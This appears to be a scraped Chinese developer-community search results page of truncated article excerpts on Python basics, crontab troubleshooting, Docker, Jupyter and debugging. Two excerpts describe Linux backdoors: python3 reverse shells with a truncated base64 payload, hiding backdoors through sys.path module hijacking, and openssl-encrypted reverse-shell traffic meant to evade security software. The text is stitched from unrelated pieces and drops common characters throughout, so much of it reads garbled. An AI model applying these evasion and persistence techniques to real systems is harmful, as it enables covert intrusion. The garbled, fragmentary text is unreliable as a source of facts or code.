首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

​Linux 后门系列之 python3 反弹shell & 隐藏后门

请参阅 PYTHONUTF8 了解详情。 -X pycache_prefix=PATH 允许将 .pyc 文件写入以给定目录为根并行树,不是代码树。...经过了一段时间分析(5秒),意识到不是错觉,一看这报错,很有规律呀: 这不就是小学加减乘除运算加上注释符之类......这样 python 反弹shell 就结束了,下面就是最喜欢扯淡时间 用上面哪些运算符试试分离代码是否能成功 python3 -c "import base64,sys;update = base64...shell进行反弹,所以这个参数更适合于我们隐藏shell 查到资料说,python3 在引入模块时候,按照 sys.path 顺序进行查找,我们测试一下是不是这样 在 /usr/lib...这个文件夹里都是 .so 文件,这个由于不是模块,所以用来劫持模块不会成功,但是测试一下,似乎可以用相同方法劫持库,后续再研究,不能忘了当前目标 继续 /usr/local/lib/python3.5

1.7K20

舍本求末维自动化技术热潮

认为工作量并没有随着企业需求越来越复杂变大,就算变大也不是靠自动化能解决体力活。   维自动化维用,请各位维想想,我们日常工作,这些年来有太大变化吗?   ...看到这一段被他执着蠢哭了,所谓自动化居然用ntpdate更新系统时间。   ...也见过某大师写自动化代码,朋友告诉python水平只值6k——连异常都不处理,用半瓶醋水平仔细看了一下他源码真的笑出来了,每隔几行必然能看到一个os.system(“shell命令”)...事实上uppet应用QQ群唯一一个没有退出Linux技术群,而我明白自己Python水平看复杂代码都费力。只因为这两个技术被野风吹最火,用他们来说明每杆大旗下都少不了盲从的人。...并不反对你推广你方案,但我认为“循环调用SSH命令一个能接受、可行方案”。   我们应该减少盲从,拿起最顺手工具去做一番事业,不是玩赏最精美的道具却迷失了目标。

67020
您找到你想要的搜索结果了吗?
是的
没有找到

Python基础(一)

绝大部分Python代码都可以在PyPy下运行,但是PyPy和CPython有一些不同,这就导致相同Python代码在两种解释器下执行可能会有不同结果。   ...Jython     Jython行在Java平台上Python解释器,可以直接把Python代码编译成Java字节码执行。   ...IronPython      IronPython和Jython类似,只不过IronPython行在微软.Net平台上Python解释器,可以直接把Python代码编译成.Net字节码。   ...64位,范围为 -2**63 -- 2**63-1        ▷ long 长整型 (python3版本已经没有该类型了,不管多长数,全部为int类型)         跟C语言不同,Python...'4' 8 9 就是不愿意打印'4' 9 10 就是不愿意打印'4' 10 >>> 上面的例子可以看出,出现了continue,就会跳出本次循环,但是还会跳到循环体第一句,判断条件是否为True

1.1K91

分享一次Linux任务计划crontab不执行问题排查过程

朋友弄了一个小项目,要帮忙做下 Linux 系统维,上线一段时间后,发现项目偶尔会挂掉导致服务不可用。...开发朋友一时之间也没空去研究项目奔溃根因,只好由我这个维先写一个项目进程自拉起脚本,通过 Linux 任务计划每分钟检查一下进程是否存在避免项目挂了没人管情况。 ?...一、检查日志 根据经验,先看一下 crontab 日志: tail /var/log/messages 没发现相关日志,看来不是打印到了这,于是查看了下 crontab 默认日志位置: tail /...直接执行成功,放到 crontab 就失败,经验告诉肯定脚本环境变量有问题了! ②、环境变量 于是在脚本里面载入环境变量: #!...四、分析总结 Linux 系统里面计划任务,crontab 没有如期执行这是维工作中比较常见一种故障了,根据经验,大家可以从如下角度分析解决: ①、检查 crontab 服务是否正常 这个一般通过查看日志检查

2.4K30

Python笔记·第一章——Python基础(一)

绝大部分Python代码都可以在PyPy下运行,但是PyPy和CPython有一些不同,这就导致相同Python代码在两种解释器下执行可能会有不同结果。...Jython Jython行在Java平台上Python解释器,可以直接把Python代码编译成Java字节码执行。...IronPython IronPython和Jython类似,只不过IronPython行在微软.Net平台上Python解释器,可以直接把Python代码编译成.Net字节码。...解决方法,在代码首行加入以下代码,用来指定编码格式: #-*- ecoding:utf-8 -*- #这样,就能成功执行并打印出中文 “你好,世界!”了。...如果将一个变量值赋予给另一个变量,那么内存中还是只有一个数据值,只是将该数据指向了不同两个变量而已。

64270

使用 Python 创造你自己计算机游戏(游戏编程快速上手)第四版:致谢到第四章

这个示例运行向你展示了当你运行程序时程序是什么样子。用户输入部分以粗体显示。 建议你自己将每个程序代码输入到 IDLE 文件编辑器中,不是下载或复制粘贴。...长代码行 有些代码指令在书中太长,无法放在一行上,会换到下一行。但是这一行在电脑屏幕上可以放下,所以不要按回车键,全部在一行上输入。你可以通过左边行号来看一个新指令何时开始。...这是如此重要,事实上,已经添加了一个卡通企鹅提醒你。...图 2-5:运行 hello.py 后交互式 shell 当您输入您名字并按下回车键时,程序将以您名字向您问候。恭喜!您已经写了第一个程序,现在一名计算机程序员。...此时,执行已经到达代码末尾,程序终止。恭喜!你刚刚编写了第一个真正游戏! 你可以通过改变玩家获得猜测次数来调整游戏难度。

11810

如何与深度学习服务器优雅交互?

( ̄∇ ̄)有木有超级想小夕呢( ̄∇ ̄) 小夕在前面写了一堆纯理论和半理论文章,不要怕,这次一篇纯工程tricks集合!...注意服务器版没有图形界面的,对shell不熟悉童鞋要尽快打好基础哦。...但是我们做深度学习的话,在服务器端大面积改代码、重量级调试的话还是不方便,毕竟服务器上没有图形界面,大部分人还是用不惯vim,那么能不能在PC端用漂亮编辑器修改代码,将修改结果实时同步到服务器端呢...多开发环境管理 如果不幸你GPU服务器并不是你一个人用,那么这时多人(尤其混入小白多话)经常把服务器默认python环境弄乌烟瘴气,比如有人用python2,有人用python3,有人用tensorflow1.3...对于前台已经执行起来任务,可以ctrl+z丢进后台(丢后台时stop了的话用bg让其run起来)。

2.7K90

Python Debug(调试)终极指南

前言 即使您编写了清晰可读代码,即使您是非常有经验开发人员,奇怪bug也不可避免地会出现,您将需要以某种方式调试它们。很多人使用一堆print语句查看代码中发生了什么。...这种方法远不是理想,有更好方法可以找出代码错误所在,本文将探讨其中一些问题和应对方法。 ? 日志必须 如果在编写应用程序时没有设置日志记录,那么您最终会后悔。...使用-i参数运行应用程序(python3 -i app.py)会导致程序一退出就启动交互式shell。此时,您可以检查变量和函数。...堆栈跟踪 假设您代码行在远程服务器上Flask或Django应用程序,在那里您无法获得交互式调试会话。...这个技巧更多关于效率不是调试。能够跳过一些不必要步骤,使您工作流程更快、更高效总是很好。一般来说,不时地重新加载模块一个好主意,因为它可以帮助您避免调试已经被修改了很多次代码

1.1K40

Python 自动化指南(繁琐工作自动化)第二版:零、前言

“你知道,如果你有打印输出原始文件,可以写一个程序做,”室友告诉他们,当他看到他们坐在地板上,文件散落一地。...这两个密码被比较 ➍,如果它们相同,程序将访问授权打印到屏幕 ➎。接下来,程序检查密码是否12345➏,并提示这个选择可能不是密码 ➐ 最佳选择。...Python 这个名字来自超现实主义英国喜剧组合 Monty Python不是来自蛇。...否则,您有一个 32 位版本,但以下如何确定方法: 在 Windows 上,选择开始 -> 控制面板 -> 系统,检查系统类型 64还是 32 位。...举个例子,这里有一些上传代码:pastebin.com/SzP2DbFx和asweigart/6912168。 解释你已经尝试做了什么解决你问题。

1K40

Python之路,Day1 - Python基础1

但对于一个比较复杂项目,为了方便管理,我们通常把代码分散在各个源文件中,作为不同模块组织。这时编译各个文件时就会生成目标文件(Object   file)不是前面说可执行文件。...像VB6(或者以前版本)、C#这样语言,虽然表面上看生成.exe可执行程序文件,但VB6编译之后实际生成也是一种中介码,只不过编译器在前面安插了一段自动调用某个外部解释器代码(该解释程序独立于用户编写程序...,必须借助测试工具才能体现出来,比如你用C一个程序花了0.01s,用Python0.1s,这样C语言直接比Python快了10倍,算是非常夸张了,但是无法直接通过肉眼感知,因为一个正常人所能感知时间最小单位...回答说Shell个脚本语言,但Python不只是个脚本语言,能做事情更多,然后又有钻牛角尖的人说完全没必要学Python, Python能做事情Shell都可以做,只要你足够牛B,然后又举了用Shell...十六进制更简短,因为换算时候一位16进制数可以顶4位2进制数,也就是一个字节(8位进制可以用两个16进制表示) 2、最早规定ASCII字符集采用就是8bit(后期扩展了,但是基础单位还是8bit)

83661

Python入门篇(一)

简介 Python著名“龟叔”Guido van Rossum在1989年圣诞节期间,为了打发无聊圣诞节编写一个编程语言,Python官方网站 。...可扩展:如果你需要一段运行很快关键代码,或者想要编写一些不愿开放算法,你可以使用C或C++完成那部分程序,然后从你Python程序中调用。...代码时,我们得到一个包含Python代码以.py为扩展名文本文件。...PyPy Python实现Python,PyPy运行在CPython(或者其它实现)之上,用户程序运行在PyPy之上,将Python字节码再动态编译成机器码(非解释),它目标执行速度。...5、Python环境安装 Windows 从Python官方网站下载最新Windows版本,系统64,所以我选择64安装包。

45710

万能 Java

Python 的确是喜爱编程语言,用它编程真的让感到快乐。它让大脑感到快乐,它和伪代码如此契合,以至于用它工作能让人真正感到愉悦。...还是在那家公司里,我们使用 JSON 格式(顺便说一下,这是个很好想法)存储我们日志文件,一位同事写了一个名为 logcat Python 程序,用来解析日志文件和输出标准柱状图报告,这个程序有许多不错功能特性...最后一个例子,写了一个简单程序用于搭建一个 Web 界面。觉得应该使用 Python但是这样做的话,需要找出如何利用 Python 类库为 Web 页面提供服务办法。...引用我哥们一段话,“单元测试一种冗长且易于出错方法,它试图挽回由于缺乏静态类型注解失去价值,但却以一种笨手笨脚形式出现,因为它和实际业务代码本身完全分离。”...作者:Qingniu 链接:https://www.jianshu.com/p/8e4ca0b1ac64 來源:简书

88630

Python 进阶指南(编程轻松进阶):八、常见 Python 陷阱

原文:http://inventwithpython.com/beyond/chapter8.html 虽然 Python 最喜欢编程语言,但它也不是没有缺陷。...考虑这样一段代码,在这段代码中,我们想要从列表中移除任何不是'hello'字符串。...所以你不应该觉得创建一个新列表不是在迭代时修改原来列表在浪费内存。即使您列表修改代码看似有效,它也可能需要很长时间才能发现和修复细微错误来源。...如果需要使用列表或字典作为默认参数,Python 风格解决方案将默认参数设置为None。然后编写代码检查这一点,并在调用该函数时提供新列表或字典。...一个更好主意设置默认参数None,然后添加代码检查None,并在调用函数时创建一个可变对象。 一个微妙问题在一个循环中用+操作符将几个较小字符串连接起来。对于少量迭代,这种语法很好。

1.5K50

干货 | 写好 Shell 脚本8个技巧

在多数情况下,以上五种写法都是等价但是,写过程序的人都知道:“少数情况”里往往隐藏着意想不到坑。 如果系统默认 shell 不是 bash 怎么办?...带上shellcheck 好了,现在已经有了三行(样板)代码,具体业务逻辑一行都没写呢。是不是该开始写了? 且慢!工欲善其事,必先利其器。...这次,就介绍一个 shell 脚本编写神器:shellcheck 说来惭愧,虽然写了几年 shell 脚本,有些语法还是记不清楚。这时候就要依仗 shellcheck 指点一下了。...由于无论正常退出抑或异常退出,所注册函数都能得以调用,在需要调用一个清理函数场景下,都是用它注册清理函数,不是简单地在脚本结尾调用清理函数。...要想减缓脚本代码腐烂速度,需要在编写时候辨清哪些会变依赖、哪些脚本正常运行所不可或缺。要有适当抽象,编写可变更代码;同时要有防御性编程意识,给自己代码一道护城河。 8.

82420

DAY1-初识python

其实在大多数情况下Python已经完全可以满足你对程序速度要求,除非你要写对速度要求极高搜索引擎等,这种情况下,当然还是建议你用C去实现代码不能加密,因为PYTHON解释性语言,它源码都是以名文形式存放...Jython   Jython行在Java平台上Python解释器,可以直接把Python代码编译成Java字节码执行。...,美国标准信息交换代码基于拉丁字母一套电脑编码系统,主要用于显示现代英语和其他西欧语言,其最多只能用 8表示(一个字节),即:2**8 = 256-1,所以,ASCII码最多只能表示 255...十六进制更简短,因为换算时候一位16进制数可以顶4位2进制数,也就是一个字节(8位进制可以用两个16进制表示) 2、最早规定ASCII字符集采用就是8bit(后期扩展了,但是基础单位还是8bit),...8bit用2个16进制直接就能表达出来,不管阅读还是存储都比其他进制要方便 3、计算机中CPU运算也是遵照ASCII字符集,以16、32、64这样方式在发展,因此数据交换时候16进制也显得更好 4

49440

Debug 一个在 uWSGI 下使用 subprocess 卡住问题

一开始有很多错误怀疑,比如怀疑 hping3 需要 TTY[2] 才能执行,以为 hping3 需要使用绝对路径等…… 但是想想同样代码在本地可以运行正常,就应该不是这些原因。...一个验证就是,去应用运行环境中开一个 Python REPL 执行这段代码能正常得到结果。在应用运行环境直接运行 hping3 命令,也是没有问题。...到这里,其实已经花费了很多时间了,得到事实有: 容器里面执行 hping3 完全没有问题,权限足够 直接使用 Python3 REPL 执行这段代码也是没有问题,代码逻辑 到这里你能猜到问题出在哪里了吗...不知道怎么结束但是往上看,有一段代码获取了当前 pid,然后给自己发送了 SIGALRM。再往前,发现注册了 SIGALRM handler. SIGALRM 是什么呢?...至于修改呢,打算直接用 socket.connect 测量 tcp 连接时间。因为 TCP 3 次握手但是对于客户端来说基本上只花费了一个 RTT 时间。

94920

shell 加密传输 | Linux后门系列

之前提到所有的反弹shell方法都有一个共同缺点:明文传输 我们传输命令不被安全软件拦截才怪 本来打算base64编码进行测试但是失败了,这里有个问题需要以后去深究,这里仅仅抛出来 nc...工作流程,如何打包,如何传输,但是对于内部使用算法怎么算不是很理解,所以今天特意买了两本书看一看,过一段时间就会到了,不过不影响 openssl 加密我们流量 这次加密在某一些层面违背了之前原则...将这两个文件复制到我们攻击机上 一般都喜欢 python3 -m http.server 9000 开启一个web服务进行下载,但是这样似乎动静太大了,安全软件不干掉我们都对不起他自己 所以我们使用...成功反弹shell,肯定是最近熬夜多了,脑子不灵光了 【 python3 】 除了 openssl 工具进行加密连接,还有其他招,没错就是 python3 , 既然 python3 可以使用 -c...报错原因 str没有decode这个方法,很明显,是因为 Python 3 中str 对象没有decode方法了,所以我们变型,结合之前我们 python3 反弹shell payload python3

1.7K10

盘一盘 Python 系列特别篇 - Jupyter Notebook

我们分别从代码(code)和标记语言(Markdown)介绍: 代码Python 代码 Shell 指令 Magic 指令 + 各种骚操作 标记语言: 字体(font) 链接(link...2 Code 类操作 2.1 Python 代码检查系统和 Python 常用包版本为例。...首先在三个 Cell 运行代码,注意下图左边 In 和 Out 标注。并不是每个 In 都对应 Out,有些语句没有输出。 ? 打印 In 发现是个列表,有 5 个元素。...在 Code Cell 中可用 Python 编程,还可以执行 Shell 命令和 Magic 命令,还可以玩一下用下划线 _ 和 In/Out 骚操作。...啥都记不住建议你不要编程了。 用 或者 * 慢慢查出函数完整名称。 用 ?或 ?? 查看这个函数 docstring。

89110

两小时入门 Docker

Docker 镜像提供了除内 核外完整运行时环境,确保了应用运行环境一致性,从而不会再出现 “这段代码机器上没问题啊” 这类问题。...开发人员 可以通过 Dockerfile 进行镜像构建,并结合持续集成(Continuous Integration) 系 统进行集成测试,维人员则可以直接在生产环境中快速部署该镜像,甚至结合 持续部署...Docker 可以在 很多平台上运行,无论物理机、虚拟机、公有云、私有云,甚至笔记本,其 行结果一致。...解释器 # -c 运行一段shell命令 # "while true;do echo 正在运行; sleep 1;done" 在linux后台,每秒中打印一次正在运行 docker ps...格式去运行命令,会读取$name指令,exec格式仅仅执行一个命令,不是shell指令 cat Dockerfile FROM centos ENV name Docker

44310

两小时入门 Docker

Docker 镜像提供了除内 核外完整运行时环境,确保了应用运行环境一致性,从而不会再出现 “这段代码机器上没问题啊” 这类问题。...开发人员 可以通过 Dockerfile 进行镜像构建,并结合持续集成(Continuous Integration) 系 统进行集成测试,维人员则可以直接在生产环境中快速部署该镜像,甚至结合 持续部署...5、更轻松迁移 由于 Docker 确保了执行环境一致性,使得应用迁移更加容易。Docker 可以在 很多平台上运行,无论物理机、虚拟机、公有云、私有云,甚至笔记本,其 行结果一致。...解释器 # -c 运行一段shell命令 # "while true;do echo 正在运行; sleep 1;done" 在linux后台,每秒中打印一次正在运行 docker ps...格式去运行命令,会读取$name指令,exec格式仅仅执行一个命令,不是shell指令 cat Dockerfile FROM centos ENV name Docker

62120
领券